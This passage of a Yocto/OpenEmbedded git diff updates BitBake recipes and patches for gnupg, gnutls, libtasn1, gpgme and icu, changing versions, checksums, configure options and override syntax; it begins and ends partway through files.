+SRC_URI:append:class-nativesdk = " file://relocate.patch"
+
+SRC_URI[sha256sum] = "5789b86da6a1a6752efb38598f16a77af51170a8494039c3842b085032e8e937"
+
+EXTRA_OECONF = "--disable-ldap \
+ --disable-ccid-driver \
+ --with-zlib=${STAGING_LIBDIR}/.. \
+ --with-bzip2=${STAGING_LIBDIR}/.. \
+ --with-readline=${STAGING_LIBDIR}/.. \
+ --with-mailprog=${sbindir}/sendmail \
+ --enable-gpg-is-gpg2 \
+ "
+
+# A minimal package containing just enough to run gpg+gpgagent (E.g. use gpgme in opkg)
+PACKAGES =+ "${PN}-gpg"
+FILES:${PN}-gpg = " \
+ ${bindir}/gpg \
+ ${bindir}/gpg2 \
+ ${bindir}/gpg-agent \
+"
+
+# Normal package (gnupg) should depend on minimal package (gnupg-gpg)
+# to ensure all tools are included. This is done only in non-native
+# builds. Native builds don't have sub-packages, so appending RDEPENDS
+# in this case breaks recipe parsing.
+RDEPENDS:${PN} += "${@ "" if ("native" in d.getVar("PN")) else (d.getVar("PN") + "-gpg")}"
+
+RRECOMMENDS:${PN} = "pinentry"
+
+do_configure:prepend () {
+ # Else these could be used in prefernce to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+ rm -f ${S}/m4/libassuan.m4
+ rm -f ${S}/m4/ksba.m4
+ rm -f ${S}/m4/libgcrypt.m4
+}
+
+do_install:append() {
+ ln -sf gpg2 ${D}${bindir}/gpg
+ ln -sf gpgv2 ${D}${bindir}/gpgv
+}
+
+do_install:append:class-native() {
+ create_wrappers ${STAGING_BINDIR_NATIVE}
+}
+
+do_install:append:class-nativesdk() {
+ create_wrappers ${SDKPATHNATIVE}${bindir_nativesdk}
+}
+
+create_wrappers() {
+ for i in gpg2 gpgconf gpg-agent gpg-connect-agent; do
+ create_wrapper ${D}${bindir}/$i GNUPG_BINDIR=$1
+ done
+}
+
+PACKAGECONFIG ??= "gnutls"
+PACKAGECONFIG[gnutls] = "--enable-gnutls, --disable-gnutls, gnutls"
+PACKAGECONFIG[sqlite3] = "--enable-sqlite, --disable-sqlite, sqlite3"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/gnutls/arm_eabi.patch b/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
index 34c8985c19..6eb1edbdb1 100644
--- a/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
+++ b/meta/recipes-support/gnutls/gnutls/arm_eabi.patch
@@ -1,3 +1,8 @@
+From 8a5c96057cf305bbeac0d6e0e59ee24fbb9497fe Mon Sep 17 00:00:00 2001
+From: Joe Slater <jslater@windriver.com>
+Date: Wed, 25 Jan 2017 13:52:59 -0800
+Subject: [PATCH] gnutls: account for ARM_EABI
+
Certain syscall's are not availabe for arm-eabi, so we eliminate
reference to them.
@@ -5,12 +10,18 @@ Upstream-Status: Pending
Signed-off-by: Joe Slater <jslater@windriver.com>
+---
+ tests/seccomp.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/tests/seccomp.c b/tests/seccomp.c
+index ed14d00..3c5b726 100644
--- a/tests/seccomp.c
+++ b/tests/seccomp.c
-@@ -49,7 +49,9 @@ int disable_system_calls(void)
- }
+@@ -53,7 +53,9 @@ int disable_system_calls(void)
ADD_SYSCALL(nanosleep, 0);
+ ADD_SYSCALL(clock_nanosleep, 0);
+#if ! defined(__ARM_EABI__)
ADD_SYSCALL(time, 0);
+#endif
diff --git a/meta/recipes-support/gnutls/gnutls_3.6.15.bb b/meta/recipes-support/gnutls/gnutls_3.6.15.bb
deleted file mode 100644
index b936db50d1..0000000000
--- a/meta/recipes-support/gnutls/gnutls_3.6.15.bb
+++ /dev/null
@@ -1,67 +0,0 @@
-SUMMARY = "GNU Transport Layer Security Library"
-HOMEPAGE = "http://www.gnu.org/software/gnutls/"
-BUGTRACKER = "https://savannah.gnu.org/support/?group=gnutls"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-xx = "LGPLv2.1+"
-LICENSE_${PN}-bin = "GPLv3+"
-LICENSE_${PN}-openssl = "GPLv3+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=71391c8e0c1cfe68077e7fce3b586283 \
- file://doc/COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
- file://doc/COPYING.LESSER;md5=a6f89e2100d9b6cdffcea4f398e37343"
-
-DEPENDS = "nettle gmp virtual/libiconv libunistring"
-DEPENDS_append_libc-musl = " argp-standalone"
-
-SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-
-SRC_URI = "https://www.gnupg.org/ftp/gcrypt/gnutls/v${SHRT_VER}/gnutls-${PV}.tar.xz \
- file://arm_eabi.patch \
- "
-
-SRC_URI[sha256sum] = "0ea8c3283de8d8335d7ae338ef27c53a916f15f382753b174c18b45ffd481558"
-
-inherit autotools texinfo pkgconfig gettext lib_package gtk-doc
-
-PACKAGECONFIG ??= "libidn"
-
-# You must also have CONFIG_SECCOMP enabled in the kernel for
-# seccomp to work.
-PACKAGECONFIG[seccomp] = "ac_cv_libseccomp=yes,ac_cv_libseccomp=no,libseccomp"
-PACKAGECONFIG[libidn] = "--with-idn,--without-idn,libidn2"
-PACKAGECONFIG[libtasn1] = "--with-included-libtasn1=no,--with-included-libtasn1,libtasn1"
-PACKAGECONFIG[p11-kit] = "--with-p11-kit,--without-p11-kit,p11-kit"
-PACKAGECONFIG[tpm] = "--with-tpm,--without-tpm,trousers"
-
-EXTRA_OECONF = " \
- --enable-doc \
- --disable-libdane \
- --disable-guile \
- --disable-rpath \
- --enable-local-libopts \
- --enable-openssl-compatibility \
- --with-libpthread-prefix=${STAGING_DIR_HOST}${prefix} \
- --with-librt-prefix=${STAGING_DIR_HOST}${prefix} \
- --with-default-trust-store-file=${sysconfdir}/ssl/certs/ca-certificates.crt \
-"
-
-# Otherwise the tools try and use HOSTTOOLS_DIR/bash as a shell.
-export POSIX_SHELL="${base_bindir}/sh"
-
-LDFLAGS_append_libc-musl = " -largp"
-
-do_configure_prepend() {
- for dir in . lib; do
- rm -f ${dir}/aclocal.m4 ${dir}/m4/libtool.m4 ${dir}/m4/lt*.m4
- done
-}
-
-PACKAGES =+ "${PN}-openssl ${PN}-xx"
-
-FILES_${PN}-dev += "${bindir}/gnutls-cli-debug"
-FILES_${PN}-openssl = "${libdir}/libgnutls-openssl.so.*"
-FILES_${PN}-xx = "${libdir}/libgnutlsxx.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/gnutls_3.7.2.bb b/meta/recipes-support/gnutls/gnutls_3.7.2.bb
new file mode 100644
index 0000000000..e1a084fac4
--- /dev/null
+++ b/meta/recipes-support/gnutls/gnutls_3.7.2.bb
@@ -0,0 +1,69 @@
+SUMMARY = "GNU Transport Layer Security Library"
+DESCRIPTION = "a secure communications library implementing the SSL, \
+TLS and DTLS protocols and technologies around them."
+HOMEPAGE = "https://gnutls.org/"
+BUGTRACKER = "https://savannah.gnu.org/support/?group=gnutls"
+
+LICENSE = "GPLv3+ & LGPLv2.1+"
+LICENSE:${PN} = "LGPLv2.1+"
+LICENSE:${PN}-xx = "LGPLv2.1+"
+LICENSE:${PN}-bin = "GPLv3+"
+LICENSE:${PN}-openssl = "GPLv3+"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=71391c8e0c1cfe68077e7fce3b586283 \
+ file://doc/COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
+ file://doc/COPYING.LESSER;md5=a6f89e2100d9b6cdffcea4f398e37343"
+
+DEPENDS = "nettle gmp virtual/libiconv libunistring"
+DEPENDS:append:libc-musl = " argp-standalone"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "https://www.gnupg.org/ftp/gcrypt/gnutls/v${SHRT_VER}/gnutls-${PV}.tar.xz \
+ file://arm_eabi.patch \
+ "
+
+SRC_URI[sha256sum] = "646e6c5a9a185faa4cea796d378a1ba8e1148dbb197ca6605f95986a25af2752"
+
+inherit autotools texinfo pkgconfig gettext lib_package gtk-doc
+
+PACKAGECONFIG ??= "libidn ${@bb.utils.filter('DISTRO_FEATURES', 'seccomp', d)}"
+
+# You must also have CONFIG_SECCOMP enabled in the kernel for
+# seccomp to work.
+PACKAGECONFIG[seccomp] = "--with-libseccomp-prefix=${STAGING_EXECPREFIXDIR},ac_cv_libseccomp=no,libseccomp"
+PACKAGECONFIG[libidn] = "--with-idn,--without-idn,libidn2"
+PACKAGECONFIG[libtasn1] = "--with-included-libtasn1=no,--with-included-libtasn1,libtasn1"
+PACKAGECONFIG[p11-kit] = "--with-p11-kit,--without-p11-kit,p11-kit"
+PACKAGECONFIG[tpm] = "--with-tpm,--without-tpm,trousers"
+
+EXTRA_OECONF = " \
+ --enable-doc \
+ --disable-libdane \
+ --disable-guile \
+ --disable-rpath \
+ --enable-local-libopts \
+ --enable-openssl-compatibility \
+ --with-libpthread-prefix=${STAGING_DIR_HOST}${prefix} \
+ --with-librt-prefix=${STAGING_DIR_HOST}${prefix} \
+ --with-default-trust-store-file=${sysconfdir}/ssl/certs/ca-certificates.crt \
+"
+
+# Otherwise the tools try and use HOSTTOOLS_DIR/bash as a shell.
+export POSIX_SHELL="${base_bindir}/sh"
+
+LDFLAGS:append:libc-musl = " -largp"
+
+do_configure:prepend() {
+ for dir in . lib; do
+ rm -f ${dir}/aclocal.m4 ${dir}/m4/libtool.m4 ${dir}/m4/lt*.m4
+ done
+}
+
+PACKAGES =+ "${PN}-openssl ${PN}-xx"
+
+FILES:${PN}-dev += "${bindir}/gnutls-cli-debug"
+FILES:${PN}-openssl = "${libdir}/libgnutls-openssl.so.*"
+FILES:${PN}-xx = "${libdir}/libgnutlsxx.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch b/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
index 2ac89f3b32..216d636793 100644
--- a/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
+++ b/meta/recipes-support/gnutls/libtasn1/dont-depend-on-help2man.patch
@@ -1,14 +1,26 @@
+From 629fc6427710e48b78f8b1f300dd698fe898cfd4 Mon Sep 17 00:00:00 2001
+From: Marko Lindqvist <cazfi74@gmail.com>
+Date: Mon, 7 Jan 2013 01:49:40 +0200
+Subject: [PATCH] libtasn1: remove help2man dependency
+
Upstream-Status: Inappropriate
Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurd libtasn1-2.14/doc/Makefile.am libtasn1-2.14/doc/Makefile.am
---- libtasn1-2.14/doc/Makefile.am 2012-09-24 15:08:42.000000000 +0300
-+++ libtasn1-2.14/doc/Makefile.am 2013-01-03 07:35:26.702763403 +0200
-@@ -31,7 +31,7 @@
- AM_MAKEINFOHTMLFLAGS = $(AM_MAKEINFOFLAGS) \
- --no-split --number-sections --css-include=texinfo.css
+---
+ doc/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index a0171a5..8aa4d3d 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -28,7 +28,7 @@ libtasn1_TEXINFOS += asn1Coding-help.texi asn1Decoding-help.texi asn1Parser-help
+
+ AM_MAKEINFOHTMLFLAGS = --no-split $(AM_MAKEINFOFLAGS)
+
-dist_man_MANS = $(gdoc_MANS) asn1Parser.1 asn1Coding.1 asn1Decoding.1
+dist_man_MANS = $(gdoc_MANS)
-
+
HELP2MAN_OPTS = --info-page libtasn1
+
diff --git a/meta/recipes-support/gnutls/libtasn1_4.16.0.bb b/meta/recipes-support/gnutls/libtasn1_4.16.0.bb
deleted file mode 100644
index 18dae6d0c9..0000000000
--- a/meta/recipes-support/gnutls/libtasn1_4.16.0.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Library for ASN.1 and DER manipulation"
-HOMEPAGE = "http://www.gnu.org/software/libtasn1/"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN}-bin = "GPLv3+"
-LICENSE_${PN} = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://doc/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://doc/COPYING.LESSER;md5=4fbd65380cdd255951079008b364516c \
- file://LICENSE;md5=75ac100ec923f959898182307970c360"
-
-SRC_URI = "${GNU_MIRROR}/libtasn1/libtasn1-${PV}.tar.gz \
- file://dont-depend-on-help2man.patch \
- "
-
-DEPENDS = "bison-native"
-
-SRC_URI[md5sum] = "531208de3729d42e2af0a32890f08736"
-SRC_URI[sha256sum] = "0e0fb0903839117cb6e3b56e68222771bebf22ad7fc2295a0ed7d576e8d4329d"
-
-inherit autotools texinfo lib_package gtk-doc
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnutls/libtasn1_4.18.0.bb b/meta/recipes-support/gnutls/libtasn1_4.18.0.bb
new file mode 100644
index 0000000000..a0b91ee576
--- /dev/null
+++ b/meta/recipes-support/gnutls/libtasn1_4.18.0.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Library for ASN.1 and DER manipulation"
+DESCRIPTION = "A highly portable C library that encodes and decodes \
+DER/BER data following an ASN.1 schema. "
+HOMEPAGE = "http://www.gnu.org/software/libtasn1/"
+
+LICENSE = "GPLv3+ & LGPLv2.1+"
+LICENSE:${PN}-bin = "GPLv3+"
+LICENSE:${PN} = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://doc/COPYING.LESSER;md5=4fbd65380cdd255951079008b364516c \
+ file://COPYING;md5=75ac100ec923f959898182307970c360"
+
+SRC_URI = "${GNU_MIRROR}/libtasn1/libtasn1-${PV}.tar.gz \
+ file://dont-depend-on-help2man.patch \
+ "
+
+DEPENDS = "bison-native"
+
+SRC_URI[sha256sum] = "4365c154953563d64c67a024b607d1ee75c6db76e0d0f65709ea80a334cd1898"
+
+inherit autotools texinfo lib_package gtk-doc
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch b/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
index 0ed4eb6818..0c15cc7c38 100644
--- a/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
+++ b/meta/recipes-support/gpgme/gpgme/0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch
@@ -11,11 +11,11 @@ Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
---
- src/gpgme.m4 | 58 ++++++++++------------------------------------------------
+ src/gpgme.m4 | 58 +++++++++-------------------------------------------
1 file changed, 10 insertions(+), 48 deletions(-)
diff --git a/src/gpgme.m4 b/src/gpgme.m4
-index 2a72f18..6c2be44 100644
+index c749a5d..8579146 100644
--- a/src/gpgme.m4
+++ b/src/gpgme.m4
@@ -1,5 +1,5 @@
@@ -29,7 +29,7 @@ index 2a72f18..6c2be44 100644
# WITHOUT ANY WARRANTY, to the extent permitted by law; without even the
# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#
--# Last-changed: 2018-11-12
+-# Last-changed: 2020-11-20
+# Last-changed: 2014-10-02
@@ -130,5 +130,5 @@ index 2a72f18..6c2be44 100644
ifelse([$2], , :, [$2])
_AM_PATH_GPGME_CONFIG_HOST_CHECK
--
-2.7.4
+2.25.1
diff --git a/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch b/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch
new file mode 100644
index 0000000000..1c46684c6d
--- /dev/null
+++ b/meta/recipes-support/gpgme/gpgme/0001-use-closefrom-on-linux-and-glibc-2.34.patch
@@ -0,0 +1,24 @@
+From adb1d4e5498a19e9d591ac8f42f9ddfdb23a1354 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 15 Jul 2021 12:33:13 -0700
+Subject: [PATCH] use closefrom() on linux and glibc 2.34+
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/posix-io.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/posix-io.c b/src/posix-io.c
+index e712ef2..ab8ded9 100644
+--- a/src/posix-io.c
++++ b/src/posix-io.c
+@@ -570,7 +570,7 @@ _gpgme_io_spawn (const char *path, char *const argv[], unsigned int flags,
+ if (fd_list[i].fd > fd)
+ fd = fd_list[i].fd;
+ fd++;
+-#if defined(__sun) || defined(__FreeBSD__)
++#if defined(__sun) || defined(__FreeBSD__) || (defined(__GLIBC__) && __GNUC_PREREQ(2, 34))
+ closefrom (fd);
+ max_fds = fd;
+ #else /*!__sun */
diff --git a/meta/recipes-support/gpgme/gpgme_1.15.0.bb b/meta/recipes-support/gpgme/gpgme_1.15.0.bb
deleted file mode 100644
index 9264af8c5d..0000000000
--- a/meta/recipes-support/gpgme/gpgme_1.15.0.bb
+++ /dev/null
@@ -1,88 +0,0 @@
-SUMMARY = "High-level GnuPG encryption/signing API"
-DESCRIPTION = "GnuPG Made Easy (GPGME) is a library designed to make access to GnuPG easier for applications. It provides a High-Level Crypto API for encryption, decryption, signing, signature verification and key management"
-HOMEPAGE = "http://www.gnupg.org/gpgme.html"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYING.LESSER;md5=bbb461211a33b134d42ed5ee802b37ff \
- file://src/gpgme.h.in;endline=23;md5=2f0bf06d1c7dcb28532a9d0f94a7ca1d \
- file://src/engine.h;endline=22;md5=4b6d8ba313d9b564cc4d4cfb1640af9d"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/gpgme/${BP}.tar.bz2 \
- file://0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch \
- file://0001-pkgconfig.patch \
- file://0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch \
- file://0003-Correctly-install-python-modules.patch \
- file://0004-python-import.patch \
- file://0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch \
- file://0006-fix-build-path-issue.patch \
- file://0007-python-Add-variables-to-tests.patch \
- file://0008-do-not-auto-check-var-PYTHON.patch \
- "
-
-SRC_URI[sha256sum] = "0b472bc12c7d455906c8a539ec56da0a6480ef1c3a87aa5b74d7125df68d0e5b"
-
-DEPENDS = "libgpg-error libassuan"
-RDEPENDS_${PN}-cpp += "libstdc++"
-
-RDEPENDS_python2-gpg += "python-unixadmin"
-RDEPENDS_python3-gpg += "python3-unixadmin"
-
-BINCONFIG = "${bindir}/gpgme-config"
-
-# Note select python2 or python3, but you can't select both at the same time
-PACKAGECONFIG ??= "python3"
-PACKAGECONFIG[python2] = ",,python swig-native,"
-PACKAGECONFIG[python3] = ",,python3 swig-native,"
-
-# Default in configure.ac: "cl cpp python qt"
-# Supported: "cl cpp python python2 python3 qt"
-# python says 'search and find python2 or python3'
-
-# Building the C++ bindings for native requires a C++ compiler with C++11
-# support. Since these bindings are currently not needed, we can disable them.
-DEFAULT_LANGUAGES = ""
-DEFAULT_LANGUAGES_class-target = "cpp"
-LANGUAGES ?= "${DEFAULT_LANGUAGES} python"
-
-PYTHON_INHERIT = "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'pythonnative', '', d)}"
-PYTHON_INHERIT .= "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native python3targetconfig', '', d)}"
-
-EXTRA_OECONF += '--enable-languages="${LANGUAGES}" \
- --disable-gpgconf-test \
- --disable-gpg-test \
- --disable-gpgsm-test \
- --disable-g13-test \
- --disable-lang-python-test \
-'
-
-inherit autotools texinfo binconfig-disabled pkgconfig distutils-common-base ${PYTHON_INHERIT} multilib_header
-
-export PKG_CONFIG='pkg-config'
-
-BBCLASSEXTEND = "native nativesdk"
-
-PACKAGES =+ "${PN}-cpp"
-PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'python2-gpg ', '', d)}"
-PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-gpg ', '', d)}"
-
-FILES_${PN}-cpp = "${libdir}/libgpgmepp.so.*"
-FILES_python2-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_python3-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-dev += "${datadir}/common-lisp/source/gpgme/* \
- ${libdir}/cmake/* \
-"
-
-CFLAGS_append_libc-musl = " -D__error_t_defined "
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
- rm -f ${S}/m4/libassuan.m4
- rm -f ${S}/m4/python.m4
-}
-
-do_install_append() {
- oe_multilib_header gpgme.h
-}
diff --git a/meta/recipes-support/gpgme/gpgme_1.16.0.bb b/meta/recipes-support/gpgme/gpgme_1.16.0.bb
new file mode 100644
index 0000000000..0ab30d93b9
--- /dev/null
+++ b/meta/recipes-support/gpgme/gpgme_1.16.0.bb
@@ -0,0 +1,87 @@
+SUMMARY = "High-level GnuPG encryption/signing API"
+DESCRIPTION = "GnuPG Made Easy (GPGME) is a library designed to make access to GnuPG easier for applications. It provides a High-Level Crypto API for encryption, decryption, signing, signature verification and key management"
+HOMEPAGE = "http://www.gnupg.org/gpgme.html"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPLv2+ & LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://COPYING.LESSER;md5=bbb461211a33b134d42ed5ee802b37ff \
+ file://src/gpgme.h.in;endline=23;md5=2f0bf06d1c7dcb28532a9d0f94a7ca1d \
+ file://src/engine.h;endline=22;md5=4b6d8ba313d9b564cc4d4cfb1640af9d"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/gpgme/${BP}.tar.bz2 \
+ file://0001-Revert-build-Make-gpgme.m4-use-gpgrt-config-with-.pc.patch \
+ file://0001-pkgconfig.patch \
+ file://0002-gpgme-lang-python-gpg-error-config-should-not-be-use.patch \
+ file://0003-Correctly-install-python-modules.patch \
+ file://0004-python-import.patch \
+ file://0005-gpgme-config-skip-all-lib-or-usr-lib-directories-in-.patch \
+ file://0006-fix-build-path-issue.patch \
+ file://0007-python-Add-variables-to-tests.patch \
+ file://0008-do-not-auto-check-var-PYTHON.patch \
+ file://0001-use-closefrom-on-linux-and-glibc-2.34.patch \
+ "
+
+SRC_URI[sha256sum] = "6c8cc4aedb10d5d4c905894ba1d850544619ee765606ac43df7405865de29ed0"
+
+DEPENDS = "libgpg-error libassuan"
+RDEPENDS:${PN}-cpp += "libstdc++"
+
+RDEPENDS:python2-gpg += "python-unixadmin"
+RDEPENDS:python3-gpg += "python3-unixadmin"
+
+BINCONFIG = "${bindir}/gpgme-config"
+
+# Note select python2 or python3, but you can't select both at the same time
+PACKAGECONFIG ??= "python3"
+PACKAGECONFIG[python2] = ",,python swig-native,"
+PACKAGECONFIG[python3] = ",,python3 swig-native,"
+
+# Default in configure.ac: "cl cpp python qt"
+# Supported: "cl cpp python python2 python3 qt"
+# python says 'search and find python2 or python3'
+
+# Building the C++ bindings for native requires a C++ compiler with C++11
+# support. Since these bindings are currently not needed, we can disable them.
+DEFAULT_LANGUAGES = ""
+DEFAULT_LANGUAGES:class-target = "cpp"
+LANGUAGES ?= "${DEFAULT_LANGUAGES} python"
+
+PYTHON_INHERIT = "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'pythonnative', '', d)}"
+PYTHON_INHERIT .= "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native python3targetconfig', '', d)}"
+
+EXTRA_OECONF += '--enable-languages="${LANGUAGES}" \
+ --disable-gpgconf-test \
+ --disable-gpg-test \
+ --disable-gpgsm-test \
+ --disable-g13-test \
+ --disable-lang-python-test \
+'
+
+inherit autotools texinfo binconfig-disabled pkgconfig distutils-common-base ${PYTHON_INHERIT} multilib_header
+
+export PKG_CONFIG='pkg-config'
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGES =+ "${PN}-cpp"
+PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python2', 'python2-gpg ', '', d)}"
+PACKAGES =. "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-gpg ', '', d)}"
+
+FILES:${PN}-cpp = "${libdir}/libgpgmepp.so.*"
+FILES:python2-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:python3-gpg = "${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-dev += "${datadir}/common-lisp/source/gpgme/*"
+
+CFLAGS:append:libc-musl = " -D__error_t_defined "
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+ rm -f ${S}/m4/libassuan.m4
+ rm -f ${S}/m4/python.m4
+}
+
+do_install:append() {
+ oe_multilib_header gpgme.h
+}
diff --git a/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch b/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
index 145efc0e01..578517b57f 100644
--- a/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
+++ b/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
@@ -1,4 +1,4 @@
-From 500321387ceca48934bb0f323779117cd518bab6 Mon Sep 17 00:00:00 2001
+From e3c25af4b40d64f098e7b8ae5a91fdc3c90163c4 Mon Sep 17 00:00:00 2001
From: Lei Maohui <leimaohui@cn.fujitsu.com>
Date: Wed, 8 May 2019 14:42:30 +0900
Subject: [PATCH] icu: Added armeb support.
@@ -8,12 +8,13 @@ Make icu support arm32 BE.
Upstream-Status: Pending
Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
+
---
i18n/double-conversion-utils.h | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/i18n/double-conversion-utils.h b/i18n/double-conversion-utils.h
-index 8c6a0e1..cf89907 100644
+diff --git a/source/i18n/double-conversion-utils.h b/source/i18n/double-conversion-utils.h
+index 7f23e0a..7f89094 100644
--- a/i18n/double-conversion-utils.h
+++ b/i18n/double-conversion-utils.h
@@ -115,7 +115,7 @@ int main(int argc, char** argv) {
@@ -24,7 +25,4 @@ index 8c6a0e1..cf89907 100644
+ defined(__arm__) || defined(__avr32__) || defined(_M_ARM) || defined(_M_ARM64) || \
defined(__hppa__) || defined(__ia64__) || \
defined(__mips__) || \
- defined(__nios2__) || \
---
-2.7.4
-
+ defined(__loongarch__) || \
diff --git a/meta/recipes-support/icu/icu_68.1.bb b/meta/recipes-support/icu/icu_68.1.bb
deleted file mode 100644
index 98aa6b7be6..0000000000
--- a/meta/recipes-support/icu/icu_68.1.bb
+++ /dev/null
@@ -1,150 +0,0 @@
-SUMMARY = "International Component for Unicode libraries"
-DESCRIPTION = "The International Component for Unicode (ICU) is a mature, \
-portable set of C/C++ and Java libraries for Unicode support, software \
-internationalization (I18N) and globalization (G11N), giving applications the \
-same results on all platforms."
-HOMEPAGE = "http://site.icu-project.org/"
-
-LICENSE = "ICU"
-DEPENDS = "icu-native"
-DEPENDS_class-native = ""
-
-CVE_PRODUCT = "international_components_for_unicode"
-
-S = "${WORKDIR}/icu/source"
-SPDX_S = "${WORKDIR}/icu"
-STAGING_ICU_DIR_NATIVE = "${STAGING_DATADIR_NATIVE}/${BPN}/${PV}"
-
-BINCONFIG = "${bindir}/icu-config"
-
-ICU_MAJOR_VER = "${@d.getVar('PV').split('.')[0]}"
-
-inherit autotools pkgconfig binconfig multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/icu-config"
-
-# ICU needs the native build directory as an argument to its --with-cross-build option when
-# cross-compiling. Taken the situation that different builds may share a common sstate-cache
-# into consideration, the native build directory needs to be staged.
-EXTRA_OECONF = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
-EXTRA_OECONF_class-native = ""
-EXTRA_OECONF_class-nativesdk = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
-
-EXTRA_OECONF_append_class-target = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' --with-data-packaging=archive', '', d)}"
-TARGET_CXXFLAGS_append = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' -DICU_DATA_DIR=\\""${datadir}/${BPN}/${PV}\\""', '', d)}"
-
-ASNEEDED = ""
-
-do_compile_prepend_class-target () {
- # Make sure certain build host references do not end up being compiled
- # in the image. This only affects libicutu and icu-dbg
- sed \
- -e 's,DU_BUILD=,DU_BUILD_unused=,g' \
- -e '/^CPPFLAGS.*/ s,--sysroot=${STAGING_DIR_TARGET},,g' \
- -i ${B}/tools/toolutil/Makefile
-}
-
-PREPROCESS_RELOCATE_DIRS = "${datadir}/${BPN}/${PV}"
-do_install_append_class-native() {
- mkdir -p ${D}/${STAGING_ICU_DIR_NATIVE}/config
- cp -r ${B}/config/icucross.mk ${D}/${STAGING_ICU_DIR_NATIVE}/config
